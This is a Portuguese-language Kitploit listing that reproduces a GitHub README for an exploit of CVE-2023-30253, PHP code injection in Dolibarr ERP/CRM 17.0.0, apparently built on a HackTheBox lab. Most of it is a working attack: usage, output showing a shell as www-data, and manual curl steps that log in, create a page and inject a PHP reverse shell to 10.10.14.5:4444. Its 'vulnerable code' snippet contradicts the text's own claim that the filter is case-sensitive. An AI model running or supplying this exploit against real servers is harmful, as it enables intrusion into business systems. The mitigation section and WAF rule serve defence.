Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injeção de código PHP (exploit educativo) | Kitploit
Ferramentas/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injeção de código PHP (exploit educativo)

Ver Repositório
3há 3 mesesAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Execução Remota de Código

Python 3.8+ License CVSS

Exploit de injeção de código PHP para Dolibarr ERP/CRM v17.0.0 que permite obter uma shell reversa como usuário www-data através do módulo Website/CMS.

⚠️ Apenas para uso educacional e auditorias com autorização.


📑 Índice

  • O que é CVE-2023-30253?
  • Como a vulnerabilidade funciona?
  • Impacto
  • O que este exploit faz?
  • Requisitos
  • Instalação
  • Uso
  • Exemplo prático
  • O exploit passo a passo
Mitigação
  • Referências

  • 🔍 O que é CVE-2023-30253?

    CVE-2023-30253 é uma vulnerabilidade de injeção de código PHP (CWE-94: Controle Impróprio da Geração de Código) no Dolibarr ERP/CRM versões anteriores a 17.0.1.

    Foi descoberta e reportada pela equipe da Swascan (agora Hacktivesecurity) em maio de 2023. A vulnerabilidade reside no módulo Website/CMS, que permite que usuários autenticados criem e gerenciem sites dentro do Dolibarr.

    CampoValor
    CVECVE-2023-30253
    CVSS v3.18.8 (ALTO)
    VetorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    TipoCWE-94 — Injeção de Código
    Software afetadoDolibarr ERP/CRM < 17.0.1
    PrivilégiosUsuário autenticado (qualquer função)
    PatchDolibarr 17.0.1 — commit 4f6055c

    ⚙️ Como a vulnerabilidade funciona?

    O Dolibarr implementa um filtro para evitar que os usuários injetem código PHP no conteúdo das páginas do módulo Website. No entanto, esse filtro tem um defeito crítico: ele é case-sensitive.

    root@kitploit:~
    // Código vulnerável (simplificado) no Dolibarr 17.0.0
    if (preg_match('/<\?php/i', $content)) {
        // Bloqueia apenas "<?php" em minúsculas exatas... ou não?
        die("PHP code detected!");
    }
    

    O filtro busca literalmente a string <?php em minúsculas. Mas o PHP permite qualquer combinação de maiúsculas e minúsculas para a tag de abertura. Isso significa que:

    TagFiltrada?Executada pelo PHP?
    <?php ... ?>✅✅
    <?PHP ... ?>❌✅
    <?Php ... ?>❌✅
    <?pHp ... ?>❌✅

    O exploit usa <?PHP (em maiúsculas) para burlar o filtro, mas qualquer variante funciona.

    Além disso, o filtro só é aplicado no momento de salvar o conteúdo. Ao servir a página, o Dolibarr passa o conteúdo sem sanitização adicional para o interpretador PHP, que executa qualquer código com a tag de abertura <?.


    💥 Impacto

    Um atacante autenticado pode:

    • Execução remota de comandos (RCE) no servidor
    • Acessar o banco de dados do Dolibarr (clientes, faturas, usuários)
    • Ler arquivos sensíveis do sistema (/etc/passwd, configuração)
    • Usar o servidor como ponto de pivô para ataques internos
    • Instalar malware, webshells ou backdoors persistentes

    Por que é crítico? O Dolibarr é usado como ERP/CRM empresarial. Uma intrusão pode expor dados de clientes, finanças, contratos e credenciais internas.


    🛠️ O que este exploit faz?

    O exploit automatiza o processo completo de exploração em 5 passos:

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────┐
    │                   CVE-2023-30253                       │
    │                                                         │
    │  1. Login          → Autenticar no Dolibarr             │
    │  2. Create Website → Criar um site vazio                │
    │  3. Create Page    → Criar uma página no site           │
    │  4. Inject Shell   → Injetar PHP reverse shell          │
    │  5. Trigger        → Executar o payload                 │
    │                                                         │
    │  Resultado: 🎯 Shell reversa como www-data              │
    └─────────────────────────────────────────────────────────┘
    

    Características:

    • ✅ Gerenciamento automático de tokens anti-CSRF
    • ✅ Sessão persistente com cookies
    • ✅ Detecção automática do pageid
    • ✅ Modo verbose para depuração
    • ✅ Saída com cores (desativáveis)
    • ✅ Payload de reverse shell via fsockopen + proc_open

    📋 Requisitos

    • Python 3.8+
    • requests
    • beautifulsoup4

    Ou simplesmente:

    root@kitploit:~
    pip install -r requirements.txt
    

    📦 Instalação

    root@kitploit:~
    # Clonar o repositório
    git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
    cd CVE-2023-30253-exploit
    
    # Instalar dependências
    pip install -r requirements.txt
    

    🚀 Uso

    root@kitploit:~
    python exploit.py <target> <username> <password> <lhost> <lport> [opções]
    

    Argumentos posicionais:

    ArgumentoDescriçãoExemplo
    targetURL base do Dolibarrhttp://crm.board.htb
    usernameUsuário do Dolibarradmin
    passwordSenha do Dolibarradmin
    lhostSeu IP (onde receberá a shell)10.10.14.5
    lportSua porta (onde receberá a shell)4444

    Opções:

    OpçãoDescrição
    -v, --verboseMostra informações detalhadas de depuração
    --no-colorDesativa cores na saída
    -h, --helpMostra a ajuda e exemplos

    🎯 Exemplo prático

    Terminal 1 — Iniciar listener de shell reversa

    root@kitploit:~
    nc -lvnp 4444
    

    Terminal 2 — Executar exploit

    root@kitploit:~
    python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
    

    Saída esperada

    root@kitploit:~
    ════════════════════════════════════════════════════════
     CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
    ════════════════════════════════════════════════════════
    
      Target:   http://crm.board.htb
      User:     admin
      LHOST:    10.10.14.5
      LPORT:    4444
      Site ID:  s3a1f2bc
    
    ──────────────────────────────────────────────────
    
    [10:45:12] Passo 1/5: Iniciando sessão...
    [10:45:12]   ✓ Sessão iniciada com sucesso
    
    [10:45:13] Passo 2/5: Criando site...
    [10:45:13]   ✓ Site 's3a1f2bc' criado
    
    [10:45:13] Passo 3/5: Criando página no site...
    [10:45:13]   ✓ Página criada dentro do site
    
    [10:45:14] Passo 4/5: Injetando reverse shell → 10.10.14.5:4444...
    [10:45:14]   ✓ Código PHP injetado com sucesso
    
    [10:45:14] Passo 5/5: Executando payload (trigger)...
    
    ════════════════════════════════════════════════════════
      EXPLORAÇÃO CONCLUÍDA
    ════════════════════════════════════════════════════════
    
      Trigger URL:
      http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
    
      Instruções:
      1. Em outro terminal, inicie seu listener:
         nc -lvnp 4444
      2. Acesse a Trigger URL (o exploit já fez isso)
      3. Você receberá uma shell reversa como www-data
    

    Terminal 1 — Shell obtida 🎯

    root@kitploit:~
    Listening on 0.0.0.0 4444
    Connection received on 10.129.231.37 52846
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    🔬 O exploit passo a passo

    Se preferir entender o processo manualmente (sem o script), aqui está o fluxo completo:

    1. Autenticar

    root@kitploit:~
    # Obter cookies e token CSRF
    curl -c cookies.txt http://crm.board.htb/ > /dev/null
    
    # Extrair token
    TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    # Login
    curl -b cookies.txt -c cookies.txt \
      -X POST "http://crm.board.htb/index.php?mainmenu=home" \
      -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
    

    2. Criar um site

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?action=createsite" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addsite&WEBSITE_REF=meusite&WEBSITE_TITLE=meusite&addcontainer=Create"
    

    ⚠️ Lição aprendida: O parâmetro action correto é addsite, não add como aparece em alguns exploits públicos.

    3. Criar uma página

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=meusite" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addcontainer&website=meusite&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
    

    4. Injetar código PHP

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=meusite&pageid=1&action=editsource" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      --data-urlencode "token=$TOKEN" \
      --data-urlencode "action=updatesource" \
      --data-urlencode "website=meusite" \
      --data-urlencode "PAGE_CONTENT=$PHP"
    

    🔑 Chave do ataque: O campo correto é PAGE_CONTENT, não WEBSITE_CONTENT. Muitos PoCs públicos têm esse erro.

    5. Executar o payload

    root@kitploit:~
    curl "http://crm.board.htb/public/website/index.php?website=meusite&pageref=meusite"
    

    🛡️ Mitigação

    Para proteger um servidor Dolibarr contra esta vulnerabilidade:

    Atualizar (recomendado)

    root@kitploit:~
    # Atualizar para Dolibarr 17.0.1 ou superior
    # O patch corrige o filtro para detectar qualquer variante de <?php
    

    Desabilitar módulo Website

    Se você não usa o módulo Website/CMS, desative-o em:

    root@kitploit:~
    Home → Setup → Modules → Website → Desativar
    

    Regras WAF (mod_security)

    root@kitploit:~
    # Bloquear qualquer variante de tags PHP no campo PAGE_CONTENT
    SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
      "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
    

    Princípio do menor privilégio

    • Não use contas de administrador para usuários do dia a dia
    • Limite quem pode acessar o módulo Website

    📚 Referências

    • NVD — CVE-2023-30253
    • Swascan Advisory — Dolibarr 17.0.0 Analysis
    • Dolibarr GitHub — Commit do patch
    • CWE-94: Injeção de Código
    • Hacktivesecurity — Relatório Original

    📝 Aviso Legal

    Este projeto é criado com fins educacionais e de pesquisa em segurança da informação. O uso deste exploit contra sistemas sem autorização explícita é ilegal e eticamente condenável.

    Como profissional de cibersegurança, acredito firmemente em:

    • Divulgação responsável de vulnerabilidades
    • Hacking ético com autorização
    • Compartilhar conhecimento para melhorar a segurança coletiva

    Criado por Jean Carlos
    Estudante de Cibersegurança | Pentesting | CTF Player
    CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

    Baixar ferramenta